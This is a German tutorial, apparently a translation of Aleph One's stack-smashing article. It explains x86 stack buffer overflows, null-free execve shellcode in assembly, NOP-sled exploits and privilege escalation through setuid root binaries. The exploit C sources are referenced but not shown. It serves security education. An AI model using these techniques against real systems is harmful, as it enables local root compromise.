Bufferoverflows
Scosh
Vorwort
Dieser Text ist im Großen und Ganzen eine freie Übersetzung eines Artikels von Aleph One aus "Phreak-Magazin Ausgabe 49". Spezielle Änderungen an den Bufferoverflowcodes, um sie heutigen Gegebenheiten anzupassen, sind von mir. Der größte Teil der C-Quelltexte ist ebenfalls von Aleph One und wurde meist nur von mir etwas dokumentiert (manchmal hab ich es auch sein gelassen). ;-)
Dieser Text wurde zur Information über Bufferoverflow's geschrieben und ist nicht gedacht um irgend jemanden (und sei er/sie ein noch so doofes A*) zu schaden. Es versteht sich, dass ich dafür auch keine Verantwortung übernehme.
Es ist erlaubt und von mir ausdrücklich gewünscht, dass dieser Text verbreitet wird, solange die Namen von Aleph One und mir erwähnt werden und niemand damit Geld verdient.
Ich wünsche viel Spaß beim Ausprobieren (und Weiterentwickeln) der vorliegenden Programme und hoffe, dass alles verständlich rüberkommt.
Mein Dank geht an dieser Stelle an Aleph One, Mudge und QuantumG für ihre Tutorials zum Thema. Ebenfalls an Fireball der sich das alles stellvertretend für alle anderen schon mal durchgelesen hat.
Für musikalisches Hintergrundrauschen während der ASCII-Kodierung meiner, das Thema betreffenden, Gehirnstrommatrix sei gedankt:
Der Plattenspieler tat sein Werk unter musikalischer Leitung von:
Also "happy root hacking". Let´s rock...
1. Einleitung
Wenn man im Internet ein bischen in Security-Seiten stöbert, findet man oft Unsicherheiten von Betriebsystemen beschrieben, welche auf Bufferoverflowproblemen beruhen. Dazu findet man meist einen Exploitcode, welcher ziemlich kryptisch daherkommt und relativ gefährlich ausehende Pointerkonstruktionen enthält.
Aber was ist ein Bufferoverflow überhaupt? Übersetzt man dieses schöne Wort mal ins Deutsche, so könnte folgendes dabei herauskommen: Speicherüberlauf, und nichts anderes ist ein Bufferoverflow.
Er wird ausgelöst, wenn man in eine lokale Variable mehr reinschreibt als reinpasst. Normalerweise stürzt ein Programm dann mit einer Fehlermeldung wie zum Beispiel "Segmentation fault" ab. C-Programierer, welche viel mit Pointern arbeiten, kennen wahrscheinlich diese Meldung.
Aber was ist nun das Problem und wie soll die Sicherheit von Betriebsystemen dadurch gefährdet sein? (Abgesehen mal davon, dass das Programm halt nicht richtig arbeitet.) Antwort: Man kann lokal oder remote Rootrechte erlangen.
Um die ganze Sache zu erklären, beziehe ich mich auf Linux als Betriebsystem, welches auf einem Intel x86 Prozessor fröhlich seine Rechenzeit verbraucht. Wie gesagt, um die Problematik zu erklären, in der Praxis treten solche Probleme auf jedem Rechner und jedem Betriebsystem auf. Selbst dort wo man sie eigendlich nicht vermutet.
Kleines Beispiel: Nokia 5110 Handys mit einer bestimmten Softwareversion stürzen ab, wenn sie mit einer SMS bestehend aus Punkten beschickt werden. Nun ist die Sache ja nicht allzu dramatisch. Nach drei bis zehn Minuten erholen sich die Dinger wieder und niemand würde wohl ernsthaft auf einem Handy root hacken wollen...
Soviel zur Einleitung...
1. Kapitel - Grundlagen in Prozeß und Speicherorganisition
Ein Prozeß benötigt, um arbeiten zu können, Speicher in dem er Daten ablegen und manipulieren kann. Dieser Speicher ist ein Block im RAM, in dem Daten gleichen Typs hintereinander abgelegt sind. C-Programierer denken in diesem Zusammenhang wohl sofort an Arrays.
Beispielarrays in C:
int buffer01[10]; //Integer Array der Größe 10
char buffer02[] = "TEXT"; //Character Array
Diese Arrays unterscheidet man in zwei Typen. Zum einem in statische, welche beim Laden direkt im Hauptspeicher abgelegt werden, zum anderen in dynamische, welcher erst zur Laufzeit des Programmes auf dem Stack angelegt werden. Ein typischer Vertreter der statischen Variablen ist das im Beispiel aufgeführte Character Array.
Aber ein Prozeß beinhaltet nicht nur Daten, sondern auch Code und einen Speicherbereich für den Stack. Um Bufferoverflows verstehen zu können, reicht im Prinzip die Beschreibung des Stacks aus, dennoch der Vollständigkeit halber an dieser Stelle das ganze Programm.
Ein Prozeß beinhaltet Speicher für den Programcode, für initialisierte Daten und den Stack. Im Code-Bereich werden die Anweisungen des Programmes und read only Daten gespeichert. Dieser Speicherbereich ist nicht beschreibbar. Im Datenbereich werden die initialisierten und uninitialisierten Daten des Prozesses gehalten. In diesem Bereich kann gelesen und geschrieben werden. Und letztendlich der Stackbereich. Hier werden Funktionsparameter und temporäre Daten gespeichert.
Diese oben beschriebenen Speicherbereiche kann man in Segmenten organisieren. Die, wie sollte es auch anders sein, als Code-, Daten- und Stacksegmente bezeichnet werden. Segmente sind dabei ununterbrochene Speicherbereiche einer bestimmten Größe.
Auf einer Intel-CPU werden die Adressen der Segmente in speziellen Registern gespeichert. Die Adressen sind dabei wie folgt aufgeteilt:
Register Segment CS Adresse des Code-Segments DS Adresse des Daten-Segments SS Adresse des Stack-Segments
Diese speziellen Register nennt man auch Segmentregister. Es gibt allerdings noch weitere dieser Register, auf die ich aber hier nicht eingehen möchte. Andere Hardwareplattformen mögen diese Speicherbereiche anders verwalten, die Unterteilung wird aber immer beibehalten werden.
Wenden wir uns nun dem Stack-Segment etwas genauer zu.
Ein Stack ist ein abstrakter Datentyp mit speziellen Eigenschaften. Das Datenelement, welches zuerst auf dem Stack abgespeichert wird, wird auch zuerst wieder von ihm entfernt. Dieses Prinzip nennt man LIFO-Stack (Last In First Out). Verschiedene Operationen können auf einen Stack angewand werden. Der PUSH Operator schreibt auf den Stack und erhöht ihn um eins, mit POP wird ein Element vom Stack entfernt und derselbige um eins verringert.
Wie verwendet man nun aber den Stack in modernen Computern?
Sprachen wie etwa C benutzen als entscheidende Strukturierungsmethode die Funktion. Eine Funktion kann innerhalb eines Programmes aufgerufen werden, führt dann Anweisungen aus und kehrt wieder zu dem Punkt an dem sie aufgerufen wurde zurück. Dabei wird die Rücksprungadresse der Funktion vor ihrer Ausführung auf dem Stack gespeichert. Man kann einer Funktion bei ihrem Aufruf Parameter übergeben. Der Stack wirkt an dieser Stelle als Zwischenspeicher für diese Parameter.
Um die PUSH und POP Operatoren anwenden zu können, benutzt man einen Stackpointer (SP). Der SP enthält die Adresse der Stackspitze, also der Position, auf die die Operationen angewand werden. Der Stackpointer wird auf dem INTEL durch ein PUSH Kommando verringert und durch ein POP erhöht. Auf diese Art arbeitet der Stack auch in vielen anderen CPU's.
Lokale Variablen werden ebenfalls mit Hilfe des Stacks verwirklicht. Diese liegen, solange die Funktion bearbeitet wird, auf dem Stack. Für die Speicherung dieser lokalen Variablen verwendet man einen sogenannten Stackframe.
Das Problem ist aber, dass durch PUSH POP Befehle nach Einrichtung der lokalen Variablen der Inhalt des Stackpointers verändert wird und dadurch die relative Adresse der Variablen vom Stackpointer aus gesehen, auch.
Da man diese lokalen Variablen immer unter der gleichen Speicheradresse ansprechen möchte, benötigt man noch ein Register, den Framepointer (FP). Dieser FP enthält eine feste Adresse innerhalb des Stacks, die auf den Anfang der lokalen Variablen zeigt. Möchte man auf diese Variablen zugreifen, so kann man sie von diesem Framepointer aus referenzieren. (Man kann mit einem festen Offset auf sie zugreifen.) Die PUSH und POP Operationen können dabei weiter den Stackpointer verändern. Der Wert im Framepointer bleibt aber erhalten.
Auf dem INTEL wird der Stackpointer im Register ESP und der Framepointer im Register EBP gespeichert.
Um alles etwas besser verstehen zu können, erst mal ein Beispiel. Das folgende C-Programm soll an dieser Stelle mal etwas genauer betrachtet werden.
code01.c
Um den gcc compiler zur Ausgabe von Assemblercode zu bewegen, benutzt man das -S Flag.
> gcc -S -o code01.s code01.c
Durch diesen Aufruf wird folgender Quelltext generiert (gekürzt).
function: pushl %ebp alten wert des FP auf stack sichern movl %esp,%ebp SP im FP sichern %esp -> %ebp subl $32,%esp Stackframe der größe 32 einrichten movl $255,-20(%ebp) buffer01[0] = 0xff; .L1: movl %ebp,%esp SP widerherstellen popl %ebp auf stack gesicherten alten FP wiederherstellen ret ende von funktion - rückkehr zu main .Lfe1: main: pushl %ebp alten wert des FP auf stack sichern movl %esp,%ebp SP im FP sichern %esp -> %ebp pushl $3 die parameter werden von hinten pushl $2 nach vornauf dem stack abgelegt pushl $1 call function function(1,2,3); addl $12,%esp .L2: movl %ebp,%esp SP widerherstellen popl %ebp auf stack gesicherten alten FP wiederherstellen ret ende der funktion main - programm ende .Lfe2:
Das setzen des Stackframes im Assemblercode soll noch einmal genauer erklärt werden.
Der Stack kann nur Wordweise (1 Word = 4 Byte) angesprochen werden. Das heißt die Adressen müssen immer durch 4 teilbar sein. Daraus ergibt sich für den ersten Buffer: int buffer01[5]; eine Länge von 20 Byte = 5 Words und den zweiten Buffer: char buffer02[10]; eine Länge von 12 Byte = 3 Words.
Zusammengezählt ergibt sich eine Stackframegröße von 32 Byte = 8 Words, welche mit folgendem Befehl gesetzt wird: subl $32,%esp. An dieser Stelle ist der Stackframe initialisiert und man kann mit den lokalen Variablen arbeiten. Im Beispiel wird die C-Anweisung buffer01[0] = 0xFF in diesen Assemblercode umgesetzt: movl $255,-20(%ebp) (0xFF Hex = 255 Dezimal).
Der Stack nach der Initialisierung des Framepointers in der Unterfunktion sieht folgendermaßen aus:
Stackspitze Der gesicherte alte Framepopinter | | buffer02 buffer01 SFP ret a b c | | | | Returnadresse der Funktion Argumente der Funktion
2. Kapitel - Ein Bufferoverflow
Wie schon gesagt wird ein Bufferoverflow ausgelöst, wenn man Daten in einen Puffer schreibt, die dessen Größe überschreiten. Wie kann man das aber ausnutzen, um bestimmten (eigenen) Code auszuführen? An dieser Stelle ein Beispiel.
code02.c
Das Codebeispiel enthält einen typischen Bufferoverflow durch Verwendung der Funktion strcpy(buffer,string). Ein kleiner Blick auf den Stack während des Aufrufs von "function" für etwas mehr Verständnis.
Stackspitze Argument von function | | buffer sfp ret *string
Strcpy überprüft nicht die Länge der übergebenen Speicherarrays und kopiert, bis die Nullterminierung am Ende von String erreicht wird. So wird über die Grenzen des Arrays Buffer kopiert und dabei sfp, ret und weiter überschrieben.
Wie zu sehen wurde das Array String mit A's gefüllt ("A" = 41 Hex). Da die Returnadresse mit dem Inhalt von string überschrieben wurde, enthält sie nach dem Kopieren den Wert 0x41414141. Diese Adresse liegt außerhalb des Prozeßspeichers, das heißt wenn die Funktion beendet wird (durch "ret") wird an die falsche Adresse gesprungen. Das führt zu einem "Segmentation fault".
Ein Bufferoverflow führt also zur Änderung der Rückkehradresse einer Funktion.
In einem weiteren Beispiel soll die Rückkehradresse so geändert werden, dass Teile des Programmcodes übersprungen werden und die unschöne Fehlermeldung vermieden wird.
code03.c
Zur Erklärung noch mal einen Blick auf den Stack:
Stackspitze Gesicherter alter Framepopinter | | buffer02 buffer01 SFP ret a b c | | buffer01 start Returnadresse der Funktion
Buffer01 ist ein Characterarray der Größe 5 Byte, wobei auf Grund der Adresskonventionen diese 5 Byte auf 8 Byte = 2 Word erweitert werden. Hinter buffer01 liegt der SFP mit der Länge 4 Byte = 1 Word, darauf folgt die Returnadresse, welche verändert werden soll. Die Returnadresse liegt also 12 Byte vom Anfang des Arrays buffer01 entfernt.
Im Beispielprogramm wird diese Adresse um 8 Byte erhöht, womit die Unterfunktion nicht zur Stelle x=1; zurückkehrt sondern 8 Byte weiter mit der Abarbeitung von printf beginnt. Doch wie kommt man jetzt darauf, wo die Funktion printf ausgefürt wird?
Lernen wir einen neuen Freund kennen (und lieben ;-) ): gdb
Das Programm wird wie folgt compiliert:
> gcc -o code03 code03.c
Und nun ruft man den Debugger (gdb) wie folgt auf:
> gdb code03 [...] (gdb) disass main 0x80484b0 <main>: pushl %ebp 0x80484b1 <main+1>: movl %esp,%ebp 0x80484b3 <main+3>: subl $0x4,%esp 0x80484b6 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x80484bd <main+13>: pushl $0x3 0x80484bf <main+15>: pushl $0x2 0x80484c1 <main+17>: pushl $0x1 0x80484c3 <main+19>: call 0x8048490 <function> 0x80484c8 <main+24>: addl $0xc,%esp 0x80484cb <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80484d2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80484d5 <main+37>: pushl %eax 0x80484d6 <main+38>: pushl $0x804854c 0x80484db <main+43>: call 0x80483bc <printf> 0x80484e0 <main+48>: addl $0x8,%esp 0x80484e3 <main+51>: movl %ebp,%esp 0x80484e5 <main+53>: popl %ebp 0x80484e6 <main+54>: ret 0x80484e7 <main+55>: nop End of assembler dump. (gdb) quit
Wie zu sehen hat die Returnadresse auf dem Stack den Wert 0x80484c8, wenn
"function" aufgerufen wird. Folgende Anweisungen sollen übersprungen werden:
0x80484c8 <main+24>: addl $0xc,%esp
0x80484cb <main+27>: movl $0x1,0xfffffffc(%ebp)
Die Ausführung beginnt an dieser Stelle:
0x80484d2 <main+34>: movl 0xfffffffc(%ebp),%eax
Die Abarbeitung soll an der Adresse 0x80484d2 fortgesetzt werden. Rechnet man ein wenig nach so kommt man auf den Wert von 8, um den die Returnadresse erhöht werden muß.
3. Kapitel - Der Shellcode
Wie gezeigt kann man den Fluß eines Programmes, durch Stackmanipulationen so verändern, dass anderer Code als vorgesehen abgearbeitet wird. Aber was für Code sollte in diesem speziellen Fall ausgeführt werden?
Im einfachsten Fall wird es ausreichen, wenn man eine Shell ausführt. Von dieser Shell aus ist es möglich, beliebige Programme zu starten. Was soll man aber tun, wenn so ein Code in dem Programm welches man attakiert, überhaupt nicht existiert?
Man plaziert (einfach) den Code welcher ausgeführt werden soll in dem Puffer, den man overflow'd, und manipuliert die Returnadresse so, dass sie auf den Anfang des hineingeschummelten Codes zeigt.
Der Stack sollte bei einem solchen Vorgehen etwa so aussehen: (C ist dabei der auszuführende Code)
Stackspitze Alter Framepopinter Argumente | | | buffer SFP ret args CCCCCCCCCCCCCCCCCAAAAAAAAAAAA A A | Returnadresse der Funktion (A zeigt auf den Anfang von Buffer, dem Beginn des Codes.)
Wie sieht jetzt aber ein Code, der eine Shell ausführt, aus? Beginnen wir zuerst mit dem entsprechenden C-Code.
code04.c
Das Programm wird wie folgt compiliert:
> gcc -static -o code04 code04.c > gdb code04 [...] (gdb) disass main (gdb) Dump of assembler code for function main: 0x8048140 <main>: pushl %ebp 0x8048141 <main+1>: movl %esp,%ebp 0x8048143 <main+3>: subl $0x8,%esp 0x8048146 <main+6>: movl $0x8059fc0,0xfffffff8(%ebp) 0x804814d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8048154 <main+20>: pushl $0x0 0x8048156 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8048159 <main+25>: pushl %eax 0x804815a <main+26>: movl 0xfffffff8(%ebp),%eax 0x804815d <main+29>: pushl %eax 0x804815e <main+30>: call 0x804cb80 <execve> 0x8048163 <main+35>: addl $0xc,%esp 0x8048166 <main+38>: movl %ebp,%esp 0x8048168 <main+40>: popl %ebp 0x8048169 <main+41>: ret End of assembler dump. (gdb) disass __execve (gdb) Dump of assembler code for function execve: 0x804cb80 <execve>: pushl %ebx 0x804cb81 <execve+1>: movl 0x10(%esp,1),%edx 0x804cb85 <execve+5>: movl 0xc(%esp,1),%ecx 0x804cb89 <execve+9>: movl 0x8(%esp,1),%ebx 0x804cb8d <execve+13>: movl $0xb,%eax 0x804cb92 <execve+18>: int $0x80 0x804cb94 <execve+20>: popl %ebx 0x804cb95 <execve+21>: cmpl $0xfffff001,%eax 0x804cb9a <execve+26>: jae 0x804cdb0 <__syscall_error> 0x804cba0 <execve+32>: ret 0x804cba1 <execve+33>: nop (gdb) quit
Mit diesem disassemblierten Shellcode hat man eine gute Ausgangsbasis, um
weiter zu arbeiten. Zuerst soll aber dennoch der vorliegende Code entschlüsselt
werden.
Mit main beginned zuerst folgender Code:
0x8048140 <main>: pushl %ebp
0x8048141 <main+1>: movl %esp,%ebp
0x8048143 <main+3>: subl $0x8,%esp
So etwas nennt man "procedure prelude". Im Prinzip nichts weiter als die
Initialisierung des lokalen Stackframes. In diesem Fall 8 Byte. Dies ist der
Platz für die Variable:
char* arg[2];
Diese Variable kann zwei Pointer auf ein Character-Array aufnehmen (pro Pointer 4 Byte).
0x8048146 <main+6>: movl $0x8059fc0,0xfffffff8(%ebp)
Es wird die Adresse 0x8059fc0 in die erste lokale Variable kopiert. Diese
Adresse zeigt auf den string "/bin/sh". Der entsprechende C-Code sieht
folgendermaßen aus:
arg[0] = "/bin/sh";
0x804814d <main+13>: movl $0x0,0xfffffffc(%ebp)
Dieser Code kopiert Null in den zweiten Pointer von arg[]. Der entsprechende
C-Code:
arg[1] = NULL;
Der Aufruf der Funktion execve beginnt an der Stelle <main+20> mit dem Befehl:
0x8048154 <main+20>: pushl $0x0
Es wird das letzte Argument von execve (NULL) zuerst auf den Stack gepusht.
0x8048156 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8048159 <main+25>: pushl %eax
Es folgt das zweite Argument der Funktion, die Adresse von arg[]. Dies wird
erst nach %eax geladen und dann auf den Stack gepusht.
0x804815a <main+26>: movl 0xfffffff8(%ebp),%eax
0x804815d <main+29>: pushl %eax
Zum Schluss wird die Adresse des Strings "/bin/sh", wieder über %eax auf den
Stack gebracht und die Unterfunktion kann ausgeführt werden mit:
0x804815e <main+30>: call 0x804cb80 <execve>
Wobei die call Anweisung die Rücksprungadresse auf dem Stack ablegt.
Betrachten wir an dieser Stelle execve. Dieser Code kann je nach den benutzten librarys varieren, das Grundkonzept bleibt aber immer gleich.
Als erste Anweisung erhält man den prelude:
0x804cb80 <execve>: pushl %ebx
Die Adresse des Null-Pointers wird nach %edx kopiert:
0x804cb81 <execve+1>: movl 0x10(%esp,1),%edx
Die Adresse von arg[] wird in %ecx geschrieben:
0x804cb85 <execve+5>: movl 0xc(%esp,1),%ecx
Die Stringadresse "/bin/sh" kommt nach %ebx:
0x804cb89 <execve+9>: movl 0x8(%esp,1),%ebx
In LINUX werden Systemaufrufe durch int 0x80 ausgelöst. Die Funktion, die man
ansprechen möchte, wird dabei durch eine Nummer in %eax bezeichnet. Für execve
ist diese Nummer $0x0b oder 11 dezimal. Die Argumente liegen dabei in den
Registern.
0x804cb8d <execve+13>: movl $0xb,%eax
0x804cb92 <execve+18>: int $0x80
An dieser Stelle sind wir im Kernel und die Funktion execve wird ausgeführt.
Rekapitulieren wir an dieser Stelle einmal, was wir alles benötigen und tun müssen, um execve auszuführen.
Möglicherweise wird die execve Anweisung aber nicht korrekt ausgeführt und das Programm würde weiter laufen, allerdings mit Anweiseungen, die dahinter auf dem Stack stehen. Das sind aber zufällige Daten und das Programm könnte möglicherweise einen Coredump auslösen. Um dies zu verhindern, lösen wir nach Abarbeitung des execve Codes einen exit(0); Aufruf aus.
Um zu ermitteln wie dieser aussieht gehen wir genauso wie bei execve vor und schreiben die Sache erst mal in C nieder.
code042.c
Und compilieren mit folgendem Befehl:
> gcc -o code042 -static code042.c > gdb code042 [...] (gdb) disass _exit (gdb) Dump of assembler code for function _exit: 0x804cb50 <_exit>: movl %ebx,%edx 0x804cb52 <_exit+2>: movl 0x4(%esp,1),%ebx 0x804cb56 <_exit+6>: movl $0x1,%eax 0x804cb5b <_exit+11>: int $0x80 0x804cb5d <_exit+13>: movl %edx,%ebx 0x804cb5f <_exit+15>: cmpl $0xfffff001,%eax 0x804cb64 <_exit+20>: jae 0x804cd70 <__syscall_error> 0x804cb6a <_exit+26>: nop 0x804cb6b <_exit+27>: nop 0x804cb6c <_exit+28>: nop 0x804cb6d <_exit+29>: nop 0x804cb6e <_exit+30>: nop 0x804cb6f <_exit+31>: nop End of assembler dump. (gdb) quit
Exit() macht also folgendes: Der exitcode wird nach %ebx kopiert. Die Funktionsnummer ist 0x01 und muß nach %eax. Der Sprung in den Kernelmode läuft wie gehabt mit "int $0x80".
Erweitern wir die Liste der Schritte zur Erstellung des Schellcodes.
Benutzen wir diesen Bauplan und schreiben uns einen ersten pseudo Shellcode in Assembler nieder.
movlstring_adr,string_adr_adr movb 0x0,ende_von_string movl $0x0,null_adr movl $0xb,%eax movl string_adr,%ebx leal string_adr,%ecx leal null_string,%edx int $0x80 movl $0x01,%eax movl $0x00,%ebx int $0x80 /bin/sh der string
Das Problem an der Sache ist, dass man nicht weiß, an welcher Speicheradresse der Programmcode und der String liegt. Dieses Problem lässt sich aber mit einer Konstruktion aus einem jmp und call Befehl lösen. Man nutzt dabei die IP-relativen Adressierungsmöglichkeiten der beiden Befehle aus. IP-relativ heißt, dass wir an keine absoluten Adressen springen, sondern an eine Stelle die mit IP (instruction pointer) + einem Wert (offset) berechnet wird.
Man plaziert den call Befehl am Ende des Overflowcodes, genau vor dem String und den jmp Befehl an den Anfang des Codes, um direkt zum call zu springen. Bei Ausführung des call's wird die Adresse hinter dem call auf dem Stack abgelegt und steht so zur Verfügung.
Der neue Code würde etwa so aussehen wobei die Offsets anhand der Länge der Assemblerbefehle berechnet wurden.
jmp 0x2a sprung zum call popl %esi stringadresse nach %esi movl %esi,0x8(%esi) adressen des strings in longword hinter dem string (str_adr+8) movb $0x0,0x7(%esi) den string mit null abschließen an adresse (str_adr+7) movl $0x0,0xc(%esi) ein null longword hinter der stringadresse(str_adr+0x0c) speichern movl $0xb,%eax die funktionsnummer nach %eax movl %esi,%ebx die adresse der stringadresse nach %ebx leal 0x8(%esi),%ecx die stringadresse nach %ecx leal 0xc(%esi),%edx die adresse des null longword nach %edx int $0x80 interrupt ausführen (execve) movl $0x1,%eax 0x01 nach %eax movl $0x0,%ebx 0x00 execcode nach %ebx int $0x80 interrupt ausführen (exec) call -0x2f call nach popl %esi .string \"/bin/sh\" der string
Sieht verdammt gut aus. Um rauszufinden, ob dieser Code funktioniert, müssen wir ihn compilieren und ausführen. Dabei steht man aber vor einem Problem. Der Code modifiziert sich selbst und führt dabei zu einem Fehler, da wie weiter oben schon beschrieben das Codesegment schreibgeschützt ist. Um den Code dennoch auszuführen, muß man ihn entweder in einem Datensegment oder auf dem Stack platzieren. In diesem Beispiel speichern wir den Code im Datenbereich. Dazu benötigen wir aber dessen hexadezimale Repräsentation.
Erst packen wir mal alles in ein C-Programm. Mit dem Inlineassembler erstellen wir den Code. Das C-Programm:
code05.c
Wird compiliert mit:
> gcc -o code05 code05.c > gdb code05 [...] (gdb) disass main (gdb) Dump of assembler code for function main: 0x8048460 <main>: pushl %ebp 0x8048461 <main+1>: movl %esp,%ebp 0x8048463 <main+3>: jmp 0x804848f <main+47> 0x8048465 <main+5>: popl %esi 0x8048466 <main+6>: movl %esi,0x8(%esi) 0x8048469 <main+9>: movb $0x0,0x7(%esi) 0x804846d <main+13>: movl $0x0,0xc(%esi) 0x8048474 <main+20>: movl $0xb,%eax 0x8048479 <main+25>: movl %esi,%ebx 0x804847b <main+27>: leal 0x8(%esi),%ecx 0x804847e <main+30>: leal 0xc(%esi),%edx 0x8048481 <main+33>: int $0x80 0x8048483 <main+35>: movl $0x1,%eax 0x8048488 <main+40>: movl $0x0,%ebx 0x804848d <main+45>: int $0x80 0x804848f <main+47>: call 0x8048465 <main+5> 0x8048494 <main+52>: das 0x8048495 <main+53>: boundl 0x6e(%ecx),%ebp 0x8048498 <main+56>: das 0x8048499 <main+57>: jae 0x8048503 0x804849b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 (gdb) 0x8048463 <main+3>: 0xeb [...] (gdb) quit
Durch den x/bx Befehl im Debugger erhält man den Shellcode byteweise. Er lässt sich so in ein Character-Array schreiben. Sehen wir uns das kleine Testprogramm an:
code06.c
> gcc -o code06 code06.c
> code06
sh-2.02$ exit
>
Klappt also hervorragend. Dummerweise ist da ein Problem... ;-<
In den meisten Fällen werden wir ein Characterarray überschreiben wollen. Diese Characterarrays werden durch ein Nullbyte abgeschlossen. Trifft das Programm im Shellcode auf eine Null so wird es das Kopieren abbrechen und nichts passiert. Aus diesem Grund ist es notwendig den Shellcode so zu gestalten, dass er keine Nullen mehr enthält.
Der verbesserte Code sieht wie folgt aus:
jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl $ebx,%eax inc %eax int $0x80 call -0x24 "/bin/sh"; //shell string
Dieses Assemblerprogramm notiert man, wie den ersten Assemblercode, in Byteschreibweise in einem Characterarray. Das Testprogramm mit dem neuen Shellcode:
code07.c
4. Kapitel - Wir schreiben einen Exploitcode
Fügen wir die Fakten mal zusammen.
Wir haben einen Shellcode. Wir wissen, dieser Shellcode muß Teil des Strings sein, mit dem wir den Overflowbuffer füllen. Wir wissen weiterhin, dass wir die Returnadresse so verändern müssen, dass sie auf den Shellcode zeigt. Dieses Beispiel zeigt wie's geht.
code08.c
> gcc -o code08 code08.c
> code08
sh-2.02$ exit
>
Das Problem vor dem man steht, wenn man den Speicher(buffer) eines anderen Programmes overflowen will ist, dass man nicht weiß an welcher Adresse der Shellcode steht. Man muß diese Adresse also raten. Glücklicherweise liegt der Stack jedes Programmes an der gleichen Adresse. Die meisten Programme pushen zu irgendeinem Zeitpunkt nicht mehr als ein paar hundert oder tausend Bytes auf den Stack. Mit diesem Wissen im Hinterkopf stehen die Chancen für das Erraten der richtigen Adresse gar nicht so schlecht.
Zur Hilfe nimmt man sich ein kleines Programm, welches den eigenen Stackpointer ausgibt.
code09.c
> gcc -o code09 code09.c
> code09
0xbffffad8
>
Schreiben wir uns erst einmal ein Programm mit einem Bufferoverflow Problem.
code10.c
> gcc -o code10 code10.c
Man benötigt jetzt noch ein Exploitprogramm, dem man als Parameter die Buffergröße und einen Offset übergibt. Der Offset wird zu der eigenen Stackpointeradresse addiert, um eine Adresse zu erhalten von der man annimmt, dass sie auf den Shellcode zeigt. Abschließend fügt man diesen Shellcode mit den Returnadressen in eine Umgebungsvariable ($KEI).
code11.c
> gcc -o code11 code11.c
Jetzt kann man versuchen, die Größe des Buffers und den Offset zu erraten.
> code11 600 2070 Genutzte Adresse ist: 0xbffff288 ! $ code10 $KEI Illegal Instruction ! $ exit
Das kann man jetzt fortführen bis man die Lust verliert oder man sich was besseres einfallen lässt. Obwohl man weiss, wie groß der Overflowbuffer ist, sollte doch viel Geduld nötig sein um die richtige Returnadresse zu erraten. Ist man auch nur ein Byte daneben bekommt man eine "Illegal Instruction" oder einen "Segmentation fault". Wie können wir unsere Chancen aber erhöhen?
Eine Möglichkeit besteht darin, den Shellcode mit "nop's" aufzufüllen. Einen nop Befehl (ein Befehl der nichts macht) findet man auf fast jedem Prozessor. Auf dem INTEL hat er den Hexadezimalwert 0x90. Was man tun muß, ist an den Anfang des Overflowstrings nop's zu setzten, den Shellcode einzufügen und den Rest mit der Returnadresse aufzufüllen. Durch diesen Trick muß man nicht mehr genau den Anfang des Shellcodes erraten.
Schauen wir uns erst mal an, wie der Stack aussehen müßte, wenn wir dieses Verfahren benutzen.
(C ist dabei der auszuführende Code) (N sind die nop's) (A die Adresse an die gesprungen wird)
Stackspitze Alter Framepopinter Argumente | | | buffer SFP ret args NNNNNNNNNNNNNCCCCCCAAAAAAAA A A | Returnadresse der Funktion
Der neue Exploitcode sieht so aus:
code12.c
Eine gute Wahl für die Buffergröße ist ungefähr 100 Bytes mehr als die Größe des Buffers, den man overflowen will. Das lässt genug Platz für die nop's am Anfang und überschreibt aber immer noch die Returnadresse.
> gcc -o code12 code12.c > code12 600 1100 Genutzte Adresse ist: 0xbffff650 > code10 $KEI sh-2.02$
Toll, gleich beim ersten mal. Wir haben also ein fremdes Programm dazu gekriegt unseren Code auszuführen, und zwar mit den Rechten des fremden Programmes. Das eröffnet Möglichkeiten... ;-)
Betrachten wir an dieser Stelle die Rechtevergabe unter UNIX. Eine Datei wird mit bestimmten Rechten versehen. Man kann Rechte für den Besitzer der Datei, für die Gruppe zu der der Besitzer gehört und für alle anderen vergeben. Die Rechte von Dateien werden durch das Kommando ls -la angezeigt. Ein Beispiel:
> ls -la /bin total 2591 drwxr-xr-x 2 root root 1024 May 20 19:54 . drwxr-xr-x 20 root root 1024 Mar 22 19:45 .. lrwxrwxrwx 1 root root 17 Mar 22 19:34 compress -rwxr-xr-x 1 root root 26840 Jan 25 21:02 cp -rwsr-xr-x 1 root root 32916 Jan 25 21:09 passwd -rwsr-xr-x 1 root root 18096 Jan 25 22:07 ping [...]
Die Kleinbuchstaben am Anfang nennt man Flags. Diese Flags sollen hier mal genauer erklärt werden.
r, read = Datei lesbar
w, write = Datei beschreibbar
x, execute = Datei ausfürbar
d, dir = Verzeichnis
l, link = Datei ist ein Verweis
s = der Nutzer erhält die Rechte des
Dateieigentümers wenn er die Datei ausführt
Die Flags sind folgendermaßen angeordnet: Die ersten drei Einträge gelten für den Eigentümer, die nächsten drei für die Gruppe und die letzten drei für alle anderen. Der allererste Buchstabe zeigt an, ob die Datei ein Link ist oder ob es sich um ein Verzeichnis handelt.
Manche Programme können nur mit Rootrechten korrekt abgearbeitet werden. Zu diesen Programmen gehört beispielsweise passwd. Um Einträge in der Passworddatei ändern zu können, benötigt es Rootrechte. Das s-Bit wird also gesetzt, um jedem User, der dieses Programm ausführt, Rootrechte zu geben.
Dies wird folgendermaßen erreicht. Jeder User hat eine reale und eine effektive User ID. Für root sind diese beiden Werte auf 0 gesetzt. Führt jetzt ein beliebiger Nutzer ein root Programm mit gesetztem s-Bit aus, so wird seine effektive UID kurzzeitig auf null gesetzt, er hat also Rootrechte. Können wir unseren Shellcode in einem solchen Programm plazieren, so wird die Shell mit Rootrechten geöffnet (ein Rootprogramm hat ja den Code ausgeführt). Dies klappt aber soweit mir bekannt ist nur noch bei älteren Unixsystemen, da sich die Shell auf moderneren Varianten an der realen userid orientiert. :-<
Um denoch Erfolg zu haben müssen, wir den Shellcode noch ein wenig erweitern, und zwar um das Setzen der realen User ID auf Null. In C-Sieht das so aus:
code13.c
Mit den weiter oben schon ausfürlich behandelten Methoden erstellen wir den Assemblerquelltext und die hexadezimale Repräsentation des Codes.
code14.c
